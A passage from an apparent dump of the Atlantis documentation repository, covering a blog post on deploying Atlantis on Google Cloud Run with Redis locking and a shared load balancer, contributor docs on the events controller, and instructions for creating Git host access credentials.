works.\n:::\n\n## We Left Things Out\n\nTo keep this post a reasonable length, we’ve left out some important details. For instance, we don’t cover setting up networking, DNS, how to pull a Docker image or wildcard TLS certificates, nor do we dive into every knob and switch in Atlantis—our focus here is on the parts most relevant to the architecture. That said, we strongly recommend running Atlantis in an isolated VPC with [Private Service Access](https://cloud.google.com/vpc/docs/configure-private-services-access) enabled. This ensures Atlantis only talks to Google APIs to do its job, without ever reaching into your other infrastructure.\n\n## BoltDB: Great, if you only have one writer\n\nAtlantis uses [BoltDB](https://github.com/boltdb/bolt) as its default locking backend. BoltDB is a simple, embedded key-value store that writes directly to disk. This works well for single-instance deployments, but BoltDB locks Atlantis into a single-node architecture. To achieve high availability and horizontal scaling, you need to replace it with a managed, distributed database that multiple Atlantis instances can safely share.\n\n## An Atlantis to Rule Them All\n\nTo facilitate the creation and management of multiple Atlantis instances, we’ll also deploy a dedicated “management” Atlantis instance. This instance will be responsible for managing the lifecycle of the other Atlantis instances, including creating, updating, and deleting them as needed. I usually keep this in a separate Google Cloud project called `atlantis-mgmt`, along with a dedicated Git repository for this purpose.\n\nOnce you have one instance set up, it’s straightforward to replicate it and place it behind a shared load balancer.\n\n## Redis: A distributed locking backend\n\nSince Atlantis v0.19.0, Redis is a supported locking backend. Redis is an in-memory data structure store that we will use to provide a central locking backend for multiple Atlantis instances. Each instance will connect to the same Redis instance, allowing them to coordinate locks and avoid conflicts.\n\nRedis also supports persistence, through RDB (Redis Database), which performs point-in-time snapshots of the dataset at specified intervals, and AOF (Append Only File), which logs every write operation received by the Redis server. This means that even if the Redis instance goes down, we don't lose our locks.\n\nOur first resource to create is a Redis instance:\n\n```tf\nresource \"google_redis_instance\" \"atlantis\" {\n  name               = \"atlantis\"\n  tier               = \"STANDARD_HA\"\n  redis_version      = \"REDIS_7_2\"\n  memory_size_gb     = 1\n  region             = \"your-region\"\n  authorized_network = \"your-network-id\"\n  connect_mode       = \"PRIVATE_SERVICE_ACCESS\"\n  persistence_config {\n    persistence_mode    = \"RDB\"\n    rdb_snapshot_period = \"TWENTY_FOUR_HOURS\"\n  }\n  maintenance_policy {\n    # ...\n  }\n  project = \"your-project-id\"\n  lifecycle {\n    prevent_destroy = true\n  }\n}\n```\n\nThis creates a Redis instance with 1 GiB of memory and enables RDB, taking snapshots every 24 hours. The `connect_mode` is set to `PRIVATE_SERVICE_ACCESS`, so the Redis instance is only accessible from within your VPC. Ensure that [Private Service Access](https://cloud.google.com/vpc/docs/configure-private-services-access) is configured on your VPC before creating the instance.\n\n## Deploying to Cloud Run\n\nCloud Run is a serverless container platform that automatically scales your applications, handles HTTP requests, and abstracts away infrastructure. You pay only for the compute you use, and each service runs under a single service account that defines its permissions. This makes it a great fit for one or more Atlantis instances.\n\nWe'll begin by creating a server-side Atlantis configuration, `atlantis/management.yaml`:\n\n```yaml\nrepos:\n  - id: github.com/acme/example\n    apply_requirements: [approved, mergeable]\n    import_requirements: [approved, mergeable]\n    allowed_overrides: [\"workflow\"]\n    allowed_workflows: [\"example\"]\n    delete_source_branch_on_merge: true\n\nworkflows:\n  example:\n    plan:\n      steps:\n        - init\n        - plan\n    apply:\n      steps:\n        - apply\n```\n\n::: info\nThe below Terraform configuration highlights only the Atlantis environment variables that are relevant to this blog post. For a complete working example, see our [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run).\n:::\n\nBegin by creating the management Atlantis instance. Below this Terraform configuration, you’ll find details on the configuration options—such as environment variables and other important settings—that configure Atlantis for this architecture.\n\n```tf\nresource \"google_cloud_run_v2_service\" \"atlantis_management\" {\n  provider             = google-beta\n  name                 = \"atlantis-management\"\n  location             = \"your-region\"\n  deletion_protection  = false\n  ingress              = \"INGRESS_TRAFFIC_INTERNAL_LOAD_BALANCER\"\n  invoker_iam_disabled = true\n  launch_stage         = \"GA\"\n\n  template {\n    scaling {\n      min_instance_count = 1\n      max_instance_count = 1\n    }\n    execution_environment = \"EXECUTION_ENVIRONMENT_GEN2\"\n    service_account       = google_service_account.atlantis_management.email\n    containers {\n      image = \"ghcr.io/runatlantis/atlantis:v0.35.1\"\n      resources {\n        limits = {\n          cpu    = \"1\"\n          memory = \"2Gi\"\n        }\n      }\n      volume_mounts {\n        name       = \"atlantis\"\n        mount_path = \"/app/atlantis\"\n      }\n      env {\n        name  = \"ATLANTIS_PORT\"\n        value = \"8080\"\n      }\n      env {\n        name  = \"ATLANTIS_DATA_DIR\"\n        value = \"/app/atlantis\"\n      }\n      env {\n        name  = \"ATLANTIS_USE_TF_PLUGIN_CACHE\"\n        value = \"true\"\n      }\n      env {\n        name  = \"ATLANTIS_LOCKING_DB_TYPE\"\n        value = \"redis\"\n      }\n      env {\n        name  = \"ATLANTIS_REDIS_HOST\"\n        value = google_redis_instance.atlantis.host\n      }\n      env {\n        name  = \"ATLANTIS_REDIS_DB\"\n        value = \"0\"\n      }\n      env {\n        name  = \"ATLANTIS_ATLANTIS_URL\"\n        value = \"https://management.atlantis.acme.com\"\n      }\n      env {\n        name  = \"ATLANTIS_REPO_CONFIG_JSON\"\n        value = jsonencode(yamldecode(file(\"${path.module}/atlantis/management.yaml\")))\n      }\n    }\n    vpc_access {\n      egress = \"ALL_TRAFFIC\"\n      network_interfaces {\n        network    = \"your-network-id\"\n        subnetwork = \"your-subnetwork-id\"\n      }\n    }\n    volumes {\n      name = \"atlantis\"\n      empty_dir {\n        medium     = \"MEMORY\"\n        size_limit = \"5Gi\"\n      }\n    }\n  }\n  project = \"your-project-id\"\n}\n```\n\n## Ephemeral Storage\n\nAtlantis is I/O intensive: it checks out repositories, runs Terraform commands, downloads providers, and pulls modules. This requires a writable filesystem to store temporary data. On Cloud Run, this is handled with ephemeral storage, which is cleared whenever a container instance stops or restarts.\n\nBecause of how Atlantis operates, its ephemeral storage requirements are limited: pull request data is removed from the filesystem once merged or closed, providers can be cached using `ATLANTIS_USE_TF_PLUGIN_CACHE`, and Terraform binaries are already included in the container image. For this reason, we configure a 5 GiB in-memory `empty_dir` volume, mounted at `/app/atlantis` and set as the `ATLANTIS_DATA_DIR`.\n\n```tf\n    # ...\n    volumes {\n      name = \"atlantis\"\n      empty_dir {\n        medium     = \"MEMORY\"\n        size_limit = \"5Gi\"\n      }\n    }\n    # ...\n    volume_mounts {\n      name       = \"atlantis\"\n      mount_path = \"/app/atlantis\"\n    }\n   # ...\n    env {\n      name  = \"ATLANTIS_DATA_DIR\"\n      value = \"/app/atlantis\"\n    }\n    env {\n      name  = \"ATLANTIS_USE_TF_PLUGIN_CACHE\"\n      value = \"true\"\n    }\n```\n\n## Keeping an Instance Warm\n\nCloud Run instances can scale down to zero when not in use, which can lead to cold starts and loss of the in-memory ephemeral storage. To avoid this, we set `min_instance_count` to 1, ensuring that at least one instance is always running and ready to handle requests.\n\n```tf\n    scaling {\n      min_instance_count = 1\n      max_instance_count = 1\n    }\n```\n\n## Impersonation and Least Privilege\n\nEach Atlantis Cloud Run service deployed runs under a service account that defines its identity. Instead of giving this account broad access, we use a service account that only has permission to impersonate other, more restricted service accounts.\n\nThis isn't something you'll need to do for the management Atlantis instance, as that gets deployed against a single project anyway, but it's important for the other Atlantis instances that will manage multiple projects and environments. By using impersonation, we can ensure that each Atlantis instance only has the permissions it needs to manage its specific projects.\n\nFor example, you can create one base Atlantis service account (`atlantis-example`) and separate service accounts for each environment (e.g. `atlantis-example-dev`, `atlantis-example-prod`). The base account is granted the `roles/iam.serviceAccountTokenCreator` role on those environment accounts, and impersonates them when Atlantis runs Terraform commands.\n\nIn turn, these environment-specific service accounts are granted only the permissions required against the projects they manage. This ensures that if one Atlantis instance is compromised, the blast radius is limited to only the resources that instance manages.\n\nHere’s an example of how to set this up in Terraform:\n\n```tf\nlocals {\n  atlantis_network_service_accounts = [\n    \"atlantis-example-dev\",\n    \"atlantis-example-prod\",\n  ]\n}\n\n# Base Atlantis service account\nresource \"google_service_account\" \"atlantis_example\" {\n  account_id = \"atlantis-example\"\n  project    = local.project_id\n}\n\n# Per-environment service accounts\nresource \"google_service_account\" \"atlantis_example_service_accounts\" {\n  for_each   = toset(local.atlantis_example_service_accounts)\n  account_id = each.value\n  project    = local.project_id\n}\n\n# Allow base SA to impersonate the env-specific ones\nresource \"google_service_account_iam_member\" \"atlantis_example_impersonation\" {\n  for_each           = google_service_account.atlantis_example_service_accounts\n  service_account_id = each.value.name\n  role               = \"roles/iam.serviceAccountTokenCreator\"\n  member             = \"serviceAccount:${google_service_account.atlantis_example.email}\"\n}\n```\n\nThe impersonation itself is enabled by setting the `GOOGLE_IMPERSONATE_SERVICE_ACCOUNT` environment variable within an `atlantis/example.yaml` workflow. In this setup, Atlantis manages two separate environments: `dev` and `prod` — by switching identities to the corresponding environment-specific service account during `plan` and `apply` operations.\n\n```yaml\nrepos:\n  - id: github.com/acme/example\n    apply_requirements: [approved, mergeable]\n    import_requirements: [approved, mergeable]\n    delete_source_branch_on_merge: true\n    allowed_overrides: [\"workflow\"]\n    allowed_workflows: [\"example-dev\", \"example-prod\"]\n\nworkflows:\n  example-dev:\n    plan:\n      steps:\n        - env:\n            name: GOOGLE_IMPERSONATE_SERVICE_ACCOUNT\n            value: example-dev@acme-atlantis-mgmt.iam.gserviceaccount.com\n        - run: rm -rf .terraform\n        - init:\n            extra_args:\n              [\"-lock=false\", \"-backend-config=env/dev/backend-config.tfvars\"]\n        - plan:\n            extra_args: [\"-lock=false\", \"-var-file=env/dev/vars.tfvars\"]\n    apply:\n      steps:\n        - env:\n            name: GOOGLE_IMPERSONATE_SERVICE_ACCOUNT\n            value: example-dev@acme-atlantis-mgmt.iam.gserviceaccount.com\n        - apply:\n            extra_args: [\"-lock=false\"]\n\n  example-prod:\n    plan:\n      steps:\n        - env:\n            name: GOOGLE_IMPERSONATE_SERVICE_ACCOUNT\n            value: example-prod@acme-atlantis-mgmt.iam.gserviceaccount.com\n        - run: rm -rf .terraform\n        - init:\n            extra_args:\n              [\"-lock=false\", \"-backend-config=env/prod/backend-config.tfvars\"]\n        - plan:\n            extra_args: [\"-lock=false\", \"-var-file=env/prod/vars.tfvars\"]\n    apply:\n      steps:\n        - env:\n            name: GOOGLE_IMPERSONATE_SERVICE_ACCOUNT\n            value: example-prod@acme-atlantis-mgmt.iam.gserviceaccount.com\n        - apply:\n            extra_args: [\"-lock=false\"]\n```\n\n## The Shared Load Balancer\n\nWhen running multiple Atlantis instances—each responsible for a different set of projects or environments—it’s important to route traffic to the right Atlantis instance. Instead of giving each instance its own public endpoint, we centralize traffic through a single global HTTPS load balancer.\n\nThe below load balancer uses host-based routing to direct requests to the appropriate Atlantis instance based on the subdomain. For example, requests to `network.atlantis.acme.com` are routed to the Atlantis instance managing the network projects, while requests to `workloads.atlantis.acme.com` go to the Atlantis instance managing the workload projects.\n\n```tf\nresource \"google_compute_url_map\" \"atlantis\" {\n  name = \"atlantis\"\n  default_url_redirect {\n    host_redirect          = \"atlantis.acme.com\"\n    https_redirect         = true\n    redirect_response_code = \"MOVED_PERMANENTLY_DEFAULT\"\n    strip_query            = false\n  }\n  host_rule {\n    hosts        = [\"network.atlantis.acme.com\"]\n    path_matcher = \"atlantis-network-webhooks\"\n  }\n  host_rule {\n    hosts        = [\"workloads.atlantis.acme.com\"]\n    path_matcher = \"atlantis-workloads-webhooks\"\n  }\n  host_rule {\n    hosts        = [\"management.atlantis.acme.com\"]\n    path_matcher = \"atlantis-management-webhooks\"\n  }\n  path_matcher {\n    name            = \"atlantis-network-webhooks\"\n    default_service = google_compute_backend_service.atlantis_network.id\n    path_rule {\n      paths   = [\"/events\"]\n      service = google_compute_backend_service.atlantis_network_webhooks.id\n    }\n  }\n  path_matcher {\n    name            = \"atlantis-workloads-webhooks\"\n    default_service = google_compute_backend_service.atlantis_workloads.id\n    path_rule {\n      paths   = [\"/events\"]\n      service = google_compute_backend_service.atlantis_workloads_webhooks.id\n    }\n  }\n  path_matcher {\n    name            = \"atlantis-management-webhooks\"\n    default_service = google_compute_backend_service.atlantis_management.id\n    path_rule {\n      paths   = [\"/events\"]\n      service = google_compute_backend_service.atlantis_management_webhooks.id\n    }\n  }\n  project = \"your-project-id\"\n}\n\nresource \"google_compute_ssl_policy\" \"restricted\" {\n  name            = \"restricted\"\n  profile         = \"RESTRICTED\"\n  min_tls_version = \"TLS_1_2\"\n  project         = \"your-project-id\"\n}\n\nresource \"google_compute_target_https_proxy\" \"atlantis\" {\n  name    = \"atlantis\"\n  url_map = google_compute_url_map.atlantis.id\n  ssl_certificates = [\n    google_compute_managed_ssl_certificate.atlantis_network.id,\n    google_compute_managed_ssl_certificate.atlantis_workloads.id,\n    google_compute_managed_ssl_certificate.atlantis_management.id,\n  ]\n  ssl_policy = google_compute_ssl_policy.restricted.id\n  project    = \"your-project-id\"\n}\n\nresource \"google_compute_global_forwarding_rule\" \"atlantis\" {\n  name                  = \"atlantis\"\n  target                = google_compute_target_https_proxy.atlantis.id\n  port_range            = \"443\"\n  ip_address            = google_compute_global_address.atlantis.address\n  load_balancing_scheme = \"EXTERNAL_MANAGED\"\n  project               = \"your-project-id\"\n}\n```\n\nEach Atlantis instance is registered as a backend service in the load balancer. Importantly, every instance requires two separate backends: one for the main Atlantis HTTP endpoint and another for the `/events` webhook endpoint. This separation allows us to protect the main Atlantis interface behind [Identity-Aware Proxy](https://cloud.google.com/iap/docs/concepts-overview) (IAP), ensuring only authorized users can access it, while keeping the webhook endpoint publicly reachable so GitHub or GitLab can deliver events without restriction.\n\nWe highly recommend protecting the `/events` endpoint with a [security policy](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_security_policy) to block unwanted traffic. At a minimum, restrict access to the IP ranges used by your Git provider, and some common web vulnerability patterns. See [Cloud Armor preconfigured WAF rules](https://cloud.google.com/armor/docs/waf-rules).\n\n```tf\nresource \"google_compute_backend_service\" \"atlantis_workloads\" {\n  name                  = \"atlantis-workloads\"\n  protocol              = \"HTTP\"\n  port_name             = \"http\"\n  timeout_sec           = 30\n  load_balancing_scheme = \"EXTERNAL_MANAGED\"\n  security_policy       = google_compute_security_policy.atlantis.id\n  backend {\n    group = google_compute_region_network_endpoint_group.atlantis_workloads.id\n  }\n  iap {\n    enabled = true\n  }\n  project = \"your-project-id\"\n}\n\nresource \"google_compute_backend_service\" \"atlantis_workloads_webhooks\" {\n  name                  = \"atlantis-workloads-webhooks\"\n  protocol              = \"HTTP\"\n  port_name             = \"http\"\n  timeout_sec           = 30\n  load_balancing_scheme = \"EXTERNAL_MANAGED\"\n  security_policy       = google_compute_security_policy.atlantis_events_webhook.id\n  backend {\n    group = google_compute_region_network_endpoint_group.atlantis_workloads.id\n  }\n  project = \"your-project-id\"\n}\n```\n\n## Conclusion\n\nBy deploying Atlantis on Google Cloud Run with a shared Redis locking backend and a shared load balancer, we provide a highly available, horizontally scalable, and secure Atlantis deployment. Each Atlantis instance runs with its own identity and limited permissions, managing only its own projects.\n\nAs there's just so much to cover, and we want to keep this post at a reasonable length, we haven't covered everything. For a complete working example, see our [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run).\n\nIf you have any questions or feedback, please join the #atlantis Slack channel in the Cloud Native Computing Foundation Slack workspace, or open an issue in the [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run).\n\nWe also gave a talk on this architecture—slides are available here: [Atlantis on Cloud Run](https://speakerdeck.com/bschaatsbergen/atlantis-on-cloud-run).\n"
  },
  {
    "path": "runatlantis.io/blog.md",
    "content": "---\ntitle: Welcome to Our Blog\naside: false\n---\n\n# Welcome to Our Blog\n\nWe are thrilled to have you here! Our blog is a collection of insightful articles, tips, and updates from our team. Whether you're new or have been following us for a while, there's always something new to learn and explore.\n\n### Explore Our Popular Posts\n\nWe have a rich history of blog posts dating back to 2017. Here are some of our popular posts:\n\n- [Atlantis on Google Cloud Run](blog/2025/atlantis-on-google-cloud-run.md)\n- [4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage](blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage.md)\n- [I'm Joining HashiCorp!](blog/2018/joining-hashicorp.md)\n- [Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too](blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too.md)\n- [Atlantis 0.4.4 Now Supports Bitbucket](blog/2018/atlantis-0-4-4-now-supports-bitbucket.md)\n- [Terraform And The Dangers Of Applying Locally](blog/2018/terraform-and-the-dangers-of-applying-locally.md)\n- [Hosting Our Static Site over SSL with S3, ACM, CloudFront and Terraform](blog/2018/hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform.md)\n- [Introducing Atlantis](blog/2017/introducing-atlantis.md)\n\n### Welcoming New Blog Authors\n\nWe are excited to welcome new authors to our blog. Our diverse team brings a wealth of knowledge and experience to share with our readers. Stay tuned for fresh perspectives and in-depth articles on the latest trends and technologies.\n\nIf you have any questions or topics you would like us to cover, feel free to reach out on [Slack](https://slack.cncf.io/). We are always looking to engage with our community and provide valuable content.\n\nHappy reading!\n"
  },
  {
    "path": "runatlantis.io/contributing/events-controller.md",
    "content": "# Events Controller\n\nWebhooks are the primary interaction between the Version Control System (VCS)\nand Atlantis. Each VCS sends the requests to the `/events` endpoint. The\nimplementation of this endpoint can be found in the\n[events_controller.go](https://github.com/runatlantis/atlantis/blob/main/server/controllers/events/events_controller.go)\nfile. This file contains the Post function `func (e *VCSEventsController)\nPost(w http.ResponseWriter, r *http.Request`)` that parses the request\naccording to the configured VCS.\n\nAtlantis currently handles one of the following events:\n\n- Comment Event\n- Pull Request Event\n\nAll the other events are ignored.\n\n```mermaid\n---\ntitle: events controller flowchart\n---\nflowchart LR\n    events(/events - Endpoint) --> Comment_Event(Comment - Event)\n    events --> Pull_Request_Event(Pull Request - Event)\n\n    Comment_Event --> pre_workflow(pre-workflow - Hook)\n    pre_workflow --> plan(plan - command)\n    pre_workflow --> apply(apply - command)\n    pre_workflow --> approve_policies(approve policies - command)\n    pre_workflow --> unlock(unlock - command)\n    pre_workflow --> version(version - command)\n    pre_workflow --> import(import - command)\n    pre_workflow --> state(state - command)\n\n    plan --> post_workflow(post-workflow - Hook)\n    apply --> post_workflow\n    approve_policies --> post_workflow\n    unlock --> post_workflow\n    version --> post_workflow\n    import --> post_workflow\n    state --> post_workflow\n\n    Pull_Request_Event --> Open_Update_PR(Open / Update Pull Request)\n    Pull_Request_Event --> Close_PR(Close Pull Request)\n\n    Open_Update_PR --> pre_workflow(pre-workflow - Hook)\n    Close_PR --> plan(plan - command)\n\n    pre_workflow --> plan\n    plan --> post_workflow(post-workflow - Hook)\n\n    Close_PR --> CleanUpPull(CleanUpPull)\n    CleanUpPull --> post_workflow(post-workflow - Hook)\n```\n\n## Comment Event\n\nThis event is triggered whenever a user enters a comment on the Pull Request,\nMerge Request, or whatever it's called for the respective VCS. After parsing the\nVCS-specific request, the code calls the `handleCommentEvent` function, which\nthen passes the processing to the `handleCommentEvent` function in the\n[command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/command_runner.go)\nfile. This function first calls the pre-workflow hooks, then executes one of the\nbelow-listed commands and, at last, the post-workflow hooks.\n\n- [plan_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/plan_command_runner.go)\n- [apply_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/apply_command_runner.go)\n- [approve_policies_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/approve_policies_command_runner.go)\n- [unlock_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/unlock_command_runner.go)\n- [version_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/version_command_runner.go)\n- [import_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/import_command_runner.go)\n- [state_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/state_command_runner.go)\n\n## Pull Request Event\n\nTo handle comment events on Pull Requests, they must be created first. Atlantis\nalso allows the running of commands for certain Pull Requests events.\n\n<details>\n  <summary>Pull Request Webhooks</summary>\n\nThe list below links to the supported VCSs and their Pull Request Webhook\ndocumentation.\n\n- [Azure DevOps Pull Request Created](https://learn.microsoft.com/en-us/azure/devops/service-hooks/events?view=azure-devops#pull-request-created)\n- [BitBucket Pull Request](https://support.atlassian.com/bitbucket-cloud/docs/event-payloads/#Pull-request-events)\n- [GitHub Pull Request](https://docs.github.com/en/webhooks/webhook-events-and-payloads#pull_request)\n- [GitLab Merge Request](https://docs.gitlab.com/user/project/integrations/webhook_events/#merge-request-events)\n- [Gitea Webhooks](https://docs.gitea.com/next/usage/webhooks)\n\n</details>\n\nThe following list shows the supported events:\n\n- Opened Pull Request\n- Updated Pull Request\n- Closed Pull Request\n- Other Pull Request event\n\nThe `RunAutoPlanCommand` function in the\n[command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/command_runner.go)\nfile is called for the _Open_ and _Update_ Pull Request events. When enabled on\nthe project, this automatically runs the `plan` for the specific repository.\n\nWhenever a Pull Request is closed, the `CleanUpPull` function in the\n[instrumented_pull_closed_executor.go](https://github.com/runatlantis/atlantis/blob/main/server/events/instrumented_pull_closed_executor.go)\nfile is called. This function cleans up all the closed Pull Request files,\nlocks, and other related information.\n"
  },
  {
    "path": "runatlantis.io/contributing/glossary.md",
    "content": "# Glossary\n\nThe Atlantis community uses many words and phrases to work more efficiently.\nYou will find the most common ones and their meaning on this page.\n\n## Pull / Merge Request Event\n\nThe different VCSs have different names for merging changes. Atlantis uses the\nname Pull Request as the abstraction. The VCS provider implements this\nabstraction and forwards the call to the respective function.\n\n## VCS\n\nVCS stands for Version Control System.\n\nAtlantis supports only git as a Version Control System. However, there is\nsupport for multiple VCS Providers. Currently, it supports the following\nproviders:\n\n- [Azure DevOps](https://azure.microsoft.com/en-us/products/devops)\n- [BitBucket](https://bitbucket.org/)\n- [GitHub](https://github.com/)\n- [GitLab](https://gitlab.com/)\n- [Gitea](https://gitea.com/)\n\nThe term VCS is used for both git and the different VCS providers.\n"
  },
  {
    "path": "runatlantis.io/contributing.md",
    "content": "---\naside: false\n---\n# Atlantis Contributing Documentation\n\nThese docs are for users who want to contribute to the Atlantis project. This\ncan vary from writing documentation, helping the community on Slack, discussing\nissues, or writing code.\n\n:::tip Looking to get started or use Atlantis?\nIf you're new, check out the [Guide](./guide.md) or the\n[Documentation](./docs.md).\n:::\n\n## Next Steps\n\n- [Events Controller](./contributing/events-controller.md)&nbsp;&nbsp;–&nbsp;&nbsp;How do the events work?\n"
  },
  {
    "path": "runatlantis.io/docs/access-credentials.md",
    "content": "# Git Host Access Credentials\n\nThis page describes how to create credentials for your Git host (GitHub, GitLab, Gitea, Bitbucket, or Azure DevOps)\n\nthat Atlantis will use to make API calls.\n\n## Create an Atlantis user (optional)\n\nWe recommend creating a new user named **@atlantis** (or something close) or using a dedicated CI user.\n\nThis isn't required (you can use an existing user or github app credentials), however all the comments that Atlantis writes\nwill come from that user so it might be confusing if it's coming from a personal account.\n\n![Example Comment](./images/example-comment.png)\n<p align=\"center\"><i>An example comment coming from the @atlantisbot user</i></p>\n\n## Generating an Access Token\n\nOnce you've created a new user (or decided to use an existing one), you need to\ngenerate an access token. Read on for the instructions for your specific Git host:\n\n* [GitHub](#github-user)\n* [GitHub app](#github-app)\n* [GitLab](#gitlab)\n* [Gitea](#gitea)\n* [Bitbucket Cloud (bitbucket.org)](#bitbucket-cloud-bitbucket-org)\n* [Bitbucket Server (aka Stash)](#bitbucket-server-aka-stash)\n* [Azure DevOps](#azure-devops)\n\n### GitHub user\n\n* Create a [Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token)\n* Create the token with **repo** scope\n  * The following repository permissions are the minimum required:\n    * Commit statuses: read and write (to update the PR with indicators of plan/apply/policy job states)\n    * Contents: read only (to fetch the files changed and clone the repository)\n    * Metadata: read only (this will be automatically selected as mandatory when Contents is set to read-only)\n    * Pull requests: read and write (to comment and react on the PR)\n* Record the access token\n::: warning\nYour Atlantis user must also have \"Write permissions\" (for repos in an organization) or be a \"Collaborator\" (for repos in a user account) to be able to set commit statuses:\n![Atlantis status](./images/status.png)\n:::\n\n### GitHub app\n\n#### Create the GitHub App Using Atlantis\n\n::: warning\nAvailable in Atlantis versions **newer** than 0.13.0.\n:::\n\n* Start Atlantis with fake github username and token (`atlantis server --gh-user fake --gh-token fake --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`). If installing as an **Organization**, remember to add `--gh-org your-github-org` to this command.\n* Visit `https://$ATLANTIS_HOST/github-app/setup` and click on **Setup** to create the app on GitHub. You'll be redirected back to Atlantis\n* A link to install your app, along with its secrets, will be shown on the screen. Record your app's credentials and install your app for your user/org by following said link.\n* Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem`\n* Restart Atlantis with new flags: `atlantis server --gh-app-id <your id> --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret <your secret> --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`.\n\n  NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](server-configuration.md#config-file).\n\n::: warning\nOnly a single installation per GitHub App is supported at the moment.\n:::\n\n::: tip NOTE\nGitHub App handles the webhook calls by itself, hence there is no need to create webhooks separately. If webhooks were created manually, those can be removed when using GitHub App. Otherwise, there would be 2 calls to Atlantis resulting in locking errors on path/workspace.\n\nWebhooks can either be created manually or managed by the GitHub App for repositories that trigger Atlantis. If manually creating (see the [section below](access-credentials.md#manually-creating-the-github-app)), do not specify webhook details in the GitHub app configuration settings. In both cases it is strongly recommended to protect the webhooks using a secret. See [Webhook Secrets](webhook-secrets.md#webhook-secrets)\n:::\n\n#### Manually Creating the GitHub app\n\n* Create the GitHub app as an Administrator\n  * Ensure the app is registered / installed with the organization / user\n  * See the GitHub app [documentation](https://docs.github.com/en/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps)\n* Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem`\n* Start Atlantis with the following flags: `atlantis server --gh-app-id <your id> --gh-installation-id <installation id> --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret <your secret> --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`.\n\n  NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](server-configuration.md#config-file).\n\n::: tip NOTE\nManually installing the GitHub app means that the credentials can be shared by many Atlantis installations. This has the benefit of centralizing repository access for shared modules / code.\n:::\n\n::: tip NOTE\nRepositories must be manually registered with the created GitHub app to allow Atlantis to interact with Pull Requests.\n:::\n\n::: tip NOTE\nPassing the additional flag `--gh-app-slug` will modify the name of the App when posting comments on a Pull Request.\n:::\n\n#### Permissions\n\nGitHub App needs these permissions. These are automatically set when a GitHub app is created.\n\n::: tip NOTE\nSince v0.19.7, a new permission for `Administration` has been added. If you have already created a GitHub app, updating Atlantis to v0.19.7 will not automatically add this permission, so you will need to set it manually.\n\nSince v0.22.3, a new permission for `Members` has been added, which is required for features that apply permissions to an organizations team members rather than individual users. Like the `Administration` permission above, updating Atlantis will not automatically add this permission, so if you wish to use features that rely on checking team membership you will need to add this manually.\n\nSince v0.30.0, a new permission for `Actions` has been added, which is required for checking if a pull request is mergeable while bypassing the apply check. Updating Atlantis will not automatically add this permission, so you will need to add this manually.\n:::\n\n| Type            | Access              |\n| --------------- | ------------------- |\n| Administration  | Read-only           |\n| Checks          | Read and write      |\n| Commit statuses | Read and write      |\n| Contents        | Read and write      |\n| Issues          | Read and write      |\n| Metadata        | Read-only (default) |\n| Pull requests   | Read and write      |\n| Webhooks        | Read and write      |\n| Members         | Read-only           |\n| Actions         | Read-only           |\n\n### GitLab\n\n* Follow: [GitLab: Create a personal access token](https://docs.gitlab.com/user/profile/personal_access_tokens/#create-a-personal-access-token)\n* Create a token with **api** scope\n* Record the access token\n\n### Gitea\n\n* Go to \"Profile and Settings\" > \"Settings\" in Gitea (top-right)\n* Go to \"Applications\" under \"User Settings\" in Gitea\n* Create a token under the \"Manage Access Tokens\" with the following permissions:\n  * issue: Read and Write\n  * repository: Read and Write\n  * user: Read\n* Record the access token\n\n### Bitbucket Cloud (bitbucket.org)\n\n* Create an App Password by following [BitBucket Cloud: Create an app password](https://support.atlassian.com/bitbucket-cloud/docs/create-an-app-password/)\n* Label the password \"atlantis\"\n* Select **Pull requests**: **Read** and **Write** so that Atlantis can read your pull requests and write comments to them. If you want to enable the [hide-prev-plan-comments](server-configuration.md#hide-prev-plan-comments) feature and thus delete old comments, please add **Account**: **Read** as well.\n* Record the access token\n\n### Bitbucket Server (aka Stash)\n\n* Click on your avatar in the top right and select **Manage account**\n* Click **Personal access tokens** in the sidebar\n* Click **Create a token**\n* Name the token **atlantis**\n* Give the token **Read** Project permissions and **Write** Pull request permissions\n* Click **Create** and record the access token\n\n  NOTE: Atlantis will send the token as a [Bearer Auth to the Bitbucket API](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html#HTTPaccesstokens-UsingHTTPaccesstokens) instead of using Basic Auth.\n\n### Azure DevOps\n\n* Create a Personal access token by following [Azure DevOps: Use personal access tokens to authenticate](https://docs.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops)\n* Label the password \"atlantis\"\n* The minimum scopes required for this token are:\n  * Code (Read & Write)\n  * Code (Status)\n  * Member Entitlement Management (Read)\n* Record the access 